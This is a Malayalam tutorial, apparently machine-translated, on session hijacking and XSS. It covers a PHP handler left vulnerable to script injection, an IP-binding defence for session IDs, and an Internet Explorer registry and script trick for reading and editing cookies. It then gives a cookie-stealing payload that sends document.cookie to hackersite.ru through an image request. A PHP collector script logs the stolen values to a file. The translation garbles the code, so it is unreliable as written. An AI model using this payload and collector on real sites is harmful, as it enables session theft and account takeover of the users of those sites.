addmsg.php ഹാൻഡ്‌ലറിന്റെ ഉള്ളടക്കം ചുവടെ കാണിച്ചിരിക്കുന്നു

എങ്കിൽ(!ശൂന്യം($_POST [ "ടെക്സ്റ്റ്" ]))
{
$ലൈൻ = str_replace("/ ?
/s" , " " , $_POST [ "ടെക്സ്റ്റ്" ]);
//ഡാറ്റാബേസിലോ ഫയലിലോ എഴുതുക
}
വേറെ
{
പുറത്തുകടക്കുക ("പിശക്");
}
?>

അക്ഷരങ്ങളെ > ആയി പരിവർത്തനം ചെയ്യുന്ന htmlspecialchars() ഫംഗ്‌ഷനിലേക്കുള്ള കോൾ സ്‌ക്രിപ്റ്റ് വ്യക്തമായി ഒഴിവാക്കുന്നു, അതിന്റെ ഫലമായി ഒരു ആക്രമണകാരിക്ക് ഏതെങ്കിലും HTML ടാഗുകളും JavaScript സ്‌ക്രിപ്റ്റുകളും വാചകത്തിലേക്ക് തിരുകാൻ കഴിയും.

പിന്നെ നമുക്ക് എന്ത് ലഭിക്കും? ബ്രൗസറിലേക്ക് സന്ദേശം പ്രദർശിപ്പിക്കുന്നതിന് മുമ്പ് ഒരു ചെറിയ മേൽനോട്ടം (ചില htmlspecialchars () നഷ്‌ടമായതായി തോന്നുന്നു), ഇത് ആക്രമണകാരിയുടെ പേജ് ഒരു പുതിയ വിൻഡോയിൽ ലോഡ് ചെയ്യാൻ നിങ്ങളെ അനുവദിക്കുന്നു, കുക്കികളിൽ നിന്ന് അതിന്റെ മൂല്യങ്ങൾ കൈമാറുന്നു.
ഇത്തരത്തിലുള്ള കേടുപാടുകൾ കൈകാര്യം ചെയ്യാൻ, "അനുവദനീയമല്ലാത്ത എല്ലാം നിരോധിച്ചിരിക്കുന്നു" എന്ന തത്വത്തിൽ പ്രവർത്തിക്കുന്ന "സുസ്ഥിര" രീതികൾ കൈകാര്യം ചെയ്യുന്നതാണ് നല്ലത്. നിങ്ങൾ SID മറയ്‌ക്കരുത്, വാചകം മൾട്ടി-സ്റ്റേജ് പരിശോധനകൾക്ക് വിധേയമാക്കരുത് - ഈ കേസിൽ പിശകുകൾ സൃഷ്ടിക്കുന്നതിനുള്ള സാധ്യത വർദ്ധിക്കുന്നു. ഈ സാഹചര്യത്തിൽ കൂടുതൽ വിശ്വസനീയമായത് സെഷൻ സ്വന്തമാക്കിയ ഉപയോക്താവിന്റെ ഐപി വിലാസത്തിലേക്ക് SID ബന്ധിപ്പിക്കുന്ന രീതിയാണ്. phpBB പോലുള്ള പല അറിയപ്പെടുന്ന ഫോറങ്ങളിലും ഈ രീതി വ്യാപകമായി ഉപയോഗിക്കുന്നു.
അംഗീകാര സ്ക്രിപ്റ്റ്

എങ്കിൽ ( പ്രവേശനവും പാസ്‌വേഡും ശരിയാണ്)
{
$_SESSION [ "Authorized" ] = true ;
$_SESSION [ "ip" ] = $_SERVER [ "REMOTE_ADDR" ];
}
?>

അപ്പോൾ ഒരു നിർദ്ദിഷ്‌ട ഉറവിടത്തിലേക്ക് ആക്‌സസ് അനുവദിക്കുന്ന സ്‌ക്രിപ്റ്റിൽ ഇനിപ്പറയുന്ന കോഡ് അടങ്ങിയിരിക്കാം

(!ശൂന്യമാണെങ്കിൽ($_SESSION [ "അംഗീകൃതം" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// ഉറവിടത്തിലേക്കുള്ള പ്രവേശനം തുറന്നിരിക്കുന്നു.
}
else die ("ആക്സസ് നിരസിച്ചു." );
?>

ആ. അംഗീകാര സമയത്ത് സെർവറിലേക്ക് അയച്ച IP വിലാസവുമായി പൊരുത്തപ്പെടുന്ന IP വിലാസമുള്ള ഉപയോക്താവിന് മാത്രമേ ഈ സെഷനിൽ പ്രവർത്തിക്കാൻ കഴിയൂ. ഒരു ആക്രമണകാരി സെഷൻ തടസ്സപ്പെടുത്തുകയാണെങ്കിൽ, അയാൾക്ക് മറ്റൊരു IP വിലാസമുണ്ട് :) - അതിനാൽ അയാൾക്ക് ആക്സസ് നിഷേധിക്കപ്പെടും.

ഈ രീതി സാർവത്രികമല്ല, ഇതിന് ബലഹീനതകളും ഉണ്ട്.

  1. ഉപയോക്താവും ആക്രമണകാരിയും ഒരു പൊതു പ്രോക്‌സി സെർവർ വഴി ഇന്റർനെറ്റ് ആക്‌സസ് ചെയ്യുന്നുവെങ്കിൽ, അവർക്ക് ഒരു പൊതു ഐപി വിലാസം ഉണ്ടായിരിക്കും (ഇത് സർവ്വകലാശാലകളുടെയും ഫാക്ടറികളുടെയും മറ്റ് വലിയ സ്ഥാപനങ്ങളുടെയും നെറ്റ്‌വർക്കുകൾക്ക് സാധാരണമാണ്), അതായത്. എല്ലാവർക്കും അയൽക്കാരന്റെ SID മോഷ്ടിക്കാൻ കഴിയും, കുറഞ്ഞത് മുകളിൽ പറഞ്ഞ രീതികളിലൂടെ.
  2. ഉപയോക്താവ് ഒരു മോഡം ഉപയോഗിക്കുകയും കണക്ഷൻ തടസ്സപ്പെടുകയും ചെയ്താൽ, കണക്ഷൻ പുനഃസ്ഥാപിച്ചതിന് ശേഷം, അയാൾക്ക് മിക്കവാറും മറ്റൊരു ഐപി വിലാസം നൽകപ്പെടും. നുഴഞ്ഞുകയറ്റക്കാരുടെ നിരയിൽ വിവേചനരഹിതമായി എൻറോൾ ചെയ്താൽ ഉപയോക്താവ് അരോചകമായി ആശ്ചര്യപ്പെട്ടേക്കാം (അതിനാൽ, സംരക്ഷണ സംവിധാനങ്ങളിൽ മനഃസാക്ഷിക്ക് ഭീഷണികളും അപ്പീലുകളും എഴുതുന്നത് വിലമതിക്കുന്നില്ല - അത്തരം സിസ്റ്റങ്ങൾക്കും പിശകുകൾ ഉണ്ട്). അവസാനത്തെ പോരായ്മ ഫോറങ്ങളിൽ സംഭവിക്കുന്നു, സന്ദർശകർക്ക് ഒരു നീണ്ട ഉത്തരം ടൈപ്പുചെയ്യുമ്പോൾ ഇന്റർനെറ്റ് ഓഫ് ചെയ്യുകയും ഓഫ്‌ലൈനായി പ്രവർത്തിക്കുകയും ചെയ്യുന്ന ഒരു ശീലമുണ്ട്. "മറുപടി" ബട്ടൺ അമർത്തുന്നത് ടൈപ്പ് ചെയ്ത എല്ലാ വിവരങ്ങളും നഷ്‌ടപ്പെടുമെന്ന വസ്തുതയിലേക്ക് നയിക്കുന്നു, കാരണം ആക്രമണകാരി ടൈപ്പ് ചെയ്‌ത വാചകം സംരക്ഷിക്കുന്നതിൽ ആരും ശ്രദ്ധിക്കുന്നില്ല :))).

പുറത്തുകടക്കുക: (അല്ലെങ്കിൽ സെമി-എക്സിറ്റ്) ഐപി വിലാസത്തിന്റെ ആദ്യ 3 അക്കങ്ങൾ മാത്രം ഐഡന്റിറ്റിക്കായി പരിശോധിക്കുക, SID മോഷണം ഇപ്പോഴും സ്ഥിതിവിവരക്കണക്കനുസരിച്ച് സാധ്യതയില്ല, എന്നാൽ മിക്ക കേസുകളിലും കണക്ഷൻ വിച്ഛേദിക്കുന്നതിനെക്കുറിച്ച് കൂടുതൽ സൗമ്യമായിരിക്കാൻ ഇത് നിങ്ങളെ അനുവദിക്കുന്നു, കാരണം ദാതാക്കളെ സാധാരണയായി അനുവദിക്കാറുണ്ട്. അവസാന അക്കം മാത്രം മാറുന്ന IP വിലാസങ്ങളുടെ ഒരു നോൺ ബ്രേക്കിംഗ് ശ്രേണി.

എന്താണ് കുക്കി?

ഉപയോക്താവിന്റെ കമ്പ്യൂട്ടറിൽ ചില വാചക വിവരങ്ങൾ സംഭരിക്കാനും തുടർന്ന് അത് ആക്‌സസ് ചെയ്യാനും http സെർവറിനെ അനുവദിക്കുന്ന ഒരു സംവിധാനമുണ്ട്. ഈ വിവരങ്ങളെ കുക്കി എന്ന് വിളിക്കുന്നു. വാസ്തവത്തിൽ, ഓരോ കുക്കിയും ഒരു ജോഡിയാണ്: പരാമീറ്ററിന്റെ പേരും അതിന്റെ മൂല്യവും. ഓരോ കുക്കിയും അത് ഉൾപ്പെടുന്ന ഡൊമെയ്‌നും നൽകിയിരിക്കുന്നു. സുരക്ഷാ ആവശ്യങ്ങൾക്കായി, എല്ലാ ബ്രൗസറുകളിലും, http സെർവറിന് സ്വന്തം ഡൊമെയ്ൻ കുക്കി ആക്സസ് ചെയ്യാൻ മാത്രമേ അനുവാദമുള്ളൂ. കൂടാതെ, കുക്കികൾക്ക് ഒരു കാലഹരണ തീയതി ഉണ്ടായിരിക്കാം, ഈ സാഹചര്യത്തിൽ എല്ലാ ബ്രൗസർ വിൻഡോകളും അടച്ചിട്ടുണ്ടെങ്കിലും ഈ തീയതി വരെ അവ കമ്പ്യൂട്ടറിൽ സൂക്ഷിക്കും.


എന്തുകൊണ്ടാണ് കുക്കികൾ പ്രധാനമായിരിക്കുന്നത്?

എല്ലാ മൾട്ടി-യൂസർ സിസ്റ്റങ്ങളിലും, ഉപയോക്താവിനെ തിരിച്ചറിയാൻ കുക്കികൾ ഉപയോഗിക്കുന്നു. അല്ലെങ്കിൽ, സേവനവുമായുള്ള ഉപയോക്താവിന്റെ നിലവിലെ കണക്ഷൻ, ഉപയോക്തൃ സെഷൻ. ആരെങ്കിലും നിങ്ങളുടെ കുക്കികൾ തിരിച്ചറിയുകയാണെങ്കിൽ, അവർക്ക് നിങ്ങളുടെ പേരിൽ ലോഗിൻ ചെയ്യാൻ കഴിയും. കാരണം ഇപ്പോൾ, വളരെ കുറച്ച് ഇന്റർനെറ്റ് ഉറവിടങ്ങൾ ഒരു ഉപയോക്തൃ സെഷനിൽ IP വിലാസത്തിന്റെ മാറ്റം പരിശോധിക്കുന്നു.


കുക്കികൾ എങ്ങനെ മാറ്റാം അല്ലെങ്കിൽ മാറ്റാം?

കുക്കികൾ എഡിറ്റുചെയ്യുന്നതിന് ബ്രൗസർ ഡെവലപ്പർമാർ അന്തർനിർമ്മിത ഉപകരണങ്ങൾ നൽകുന്നില്ല. എന്നാൽ നിങ്ങൾക്ക് ഒരു സാധാരണ നോട്ട്പാഡ് (നോട്ട്പാഡ്) ഉപയോഗിച്ച് പോകാം.


ഘട്ടം 1: ടെക്‌സ്‌റ്റ് ഉപയോഗിച്ച് ഒരു ടെക്‌സ്‌റ്റ് ഫയൽ സൃഷ്‌ടിക്കുക

വിൻഡോസ് രജിസ്ട്രി എഡിറ്റർ പതിപ്പ് 5.00



@="C:\\IE_ext.htm"

ഞങ്ങൾ ഇത് IE_ext.reg എന്ന പേരിൽ സംരക്ഷിക്കുന്നു

ഘട്ടം 2: സൃഷ്ടിച്ച ഫയൽ ഉപയോഗിച്ച്, വിൻഡോസ് രജിസ്ട്രിയിൽ മാറ്റങ്ങൾ ചേർക്കുക.

ഘട്ടം 3: ടെക്‌സ്‌റ്റ് ഉപയോഗിച്ച് ഒരു ടെക്‌സ്‌റ്റ് ഫയൽ സൃഷ്‌ടിക്കുക

< script language="javascript">
external.menuArguments.clipboardData.setData("ടെക്സ്റ്റ്" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru";
മുന്നറിയിപ്പ് (external.menuArguments.document.cookie);


ഇത് C:\IE_ext.htm ആയി സേവ് ചെയ്യുക

ഘട്ടം 4: ഞങ്ങൾക്ക് താൽപ്പര്യമുള്ള വെബ്‌സൈറ്റിലേക്ക് ഞങ്ങൾ പോകുന്നു.

ഘട്ടം 5: പേജിലെ ശൂന്യമായ സ്ഥലത്ത് വലത്-ക്ലിക്കുചെയ്ത് മെനു ഇനം തിരഞ്ഞെടുക്കുക "കുക്കികളുമായി പ്രവർത്തിക്കുന്നു". ക്ലിപ്പ്ബോർഡിലേക്ക് ആക്സസ് അനുവദിക്കുക. ഈ സൈറ്റിനായുള്ള നിങ്ങളുടെ കുക്കികൾ ക്ലിപ്പ്ബോർഡിൽ സ്ഥാപിക്കും. നിങ്ങൾക്ക് അവരുടെ നോട്ട്പാഡ് (നോട്ട്പാഡ്) ഒട്ടിച്ച് നോക്കാം.


ഘട്ടം 6: കുറച്ച് കുക്കി മാറ്റാൻ, മാറ്റിസ്ഥാപിച്ച് C:\IE_ext.htm ഫയൽ എഡിറ്റ് ചെയ്യുക ടെസ്റ്റ് നാമംകുക്കിയുടെ പേരിൽ, പരിശോധന മൂല്യം- അതിന്റെ അർത്ഥത്തിൽ, testdomain.ru- വെബ്സൈറ്റ് ഡൊമെയ്നിലേക്ക്. ആവശ്യമെങ്കിൽ ഇതുപോലുള്ള വരികൾ ചേർക്കുക. നിയന്ത്രണത്തിന്റെ സൗകര്യാർത്ഥം, മാറ്റത്തിന് മുമ്പും ശേഷവും സ്ക്രിപ്റ്റിലേക്ക് നിലവിലെ കുക്കികളുടെ ഔട്ട്പുട്ട് ഞാൻ ചേർത്തു: മുന്നറിയിപ്പ് (external.menuArguments.document.cookie);

ഘട്ടം 7: സ്റ്റെപ്പ് 5 വീണ്ടും പ്രവർത്തിപ്പിക്കുക, തുടർന്ന് പേജ് പുതുക്കുക.

ചുവടെയുള്ള വരി: അപ്ഡേറ്റ് ചെയ്ത കുക്കികൾക്കൊപ്പം ഞങ്ങൾ ഈ ഇന്റർനെറ്റ് റിസോഴ്സിലേക്ക് പോകും.

JavaScript ഉപയോഗിച്ച് കുക്കികൾ എങ്ങനെ മോഷ്ടിക്കാം?

ഇരയുടെ കമ്പ്യൂട്ടറിൽ ഒരു അനിയന്ത്രിതമായ JavaScript സ്ക്രിപ്റ്റ് എക്സിക്യൂട്ട് ചെയ്യാനുള്ള വഴി കണ്ടെത്താൻ ഒരു ആക്രമണകാരിക്ക് കഴിഞ്ഞാൽ, അയാൾക്ക് നിലവിലുള്ള കുക്കികൾ വളരെ എളുപ്പത്തിൽ വായിക്കാൻ കഴിയും. ഉദാഹരണം:


varstr=document.cookie;

എന്നാൽ അവ തന്റെ സൈറ്റിലേക്ക് കൈമാറാൻ അദ്ദേഹത്തിന് കഴിയുമോ, കാരണം, ഞാൻ നേരത്തെ സൂചിപ്പിച്ചതുപോലെ, ഒരു JavaScript സ്ക്രിപ്റ്റിന് മറ്റൊരു ഡൊമെയ്നിൽ സ്ഥിതി ചെയ്യുന്ന ഒരു സൈറ്റ് അധിക സ്ഥിരീകരണമില്ലാതെ ആക്സസ് ചെയ്യാൻ കഴിയില്ല? ഒരു JavaScript സ്ക്രിപ്റ്റിന് ഏതെങ്കിലും http സെർവറിൽ സ്ഥിതി ചെയ്യുന്ന ഏത് ചിത്രവും ലോഡ് ചെയ്യാൻ കഴിയുമെന്ന് ഇത് മാറുന്നു. അതേ സമയം, ഡൗൺലോഡ് അഭ്യർത്ഥനയിലെ ഏതെങ്കിലും വാചക വിവരങ്ങൾ ഈ ചിത്രത്തിലേക്ക് കൈമാറുക. ഉദാഹരണം: http://hackersite.ru/xss.jpg?text_infoഅതിനാൽ നിങ്ങൾ ഈ കോഡ് പ്രവർത്തിപ്പിക്കുകയാണെങ്കിൽ:

varimg= പുതിയ ഇമേജ് ();

img.src= "http://hackersite.ru/xss.jpg?"+ encodeURI(document.cookie);


അപ്പോൾ "ചിത്രം" ഡൌൺലോഡ് ചെയ്യാനുള്ള അഭ്യർത്ഥനയിൽ കുക്കികൾ ഉണ്ടാകും, ആക്രമണകാരിക്ക് "വിടുക".

ഒരു "ചിത്രം" അപ്‌ലോഡ് ചെയ്യുന്നതിനുള്ള അത്തരം അഭ്യർത്ഥനകൾ എങ്ങനെ കൈകാര്യം ചെയ്യാം?

ഒരു ആക്രമണകാരിക്ക് php പിന്തുണയും ഇതുപോലെയുള്ള സ്ഥല കോഡും ഉള്ള ഒരു ഹോസ്റ്റിംഗ് കണ്ടെത്തേണ്ടതുണ്ട്:

$uid=urldcode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose ($fp);
?>

അപ്പോൾ ഈ സ്ക്രിപ്റ്റിലേക്കുള്ള എല്ലാ അന്വേഷണ പരാമീറ്ററുകളും ഫയലിൽ സംരക്ഷിക്കപ്പെടും log.txt. മാറ്റിസ്ഥാപിക്കുന്നതിന് മുമ്പ് വിവരിച്ച JavaScript സ്ക്രിപ്റ്റിൽ മാത്രമേ ഇത് അവശേഷിക്കുന്നുള്ളൂ http://hackersite.ru/xss.jpgഈ php സ്ക്രിപ്റ്റിലേക്കുള്ള പാതയിലേക്ക്.


ഫലം

XSS കേടുപാടുകൾ മുതലെടുക്കാനുള്ള ഏറ്റവും ലളിതമായ മാർഗ്ഗം മാത്രമാണ് ഞാൻ കാണിച്ചിരിക്കുന്നത്. എന്നാൽ ഒരു മൾട്ടി-യൂസർ ഇന്റർനെറ്റ് സൈറ്റിൽ അത്തരം ഒരു അപകടസാധ്യതയെങ്കിലും ഉള്ളത് നിങ്ങളുടെ പേരിൽ അതിന്റെ ഉറവിടങ്ങൾ ഉപയോഗിക്കാൻ ഒരു ആക്രമണകാരിയെ അനുവദിക്കുമെന്ന് ഇത് തെളിയിക്കുന്നു.



വായിക്കാൻ ഞങ്ങൾ ശുപാർശ ചെയ്യുന്നു

മുകളിൽ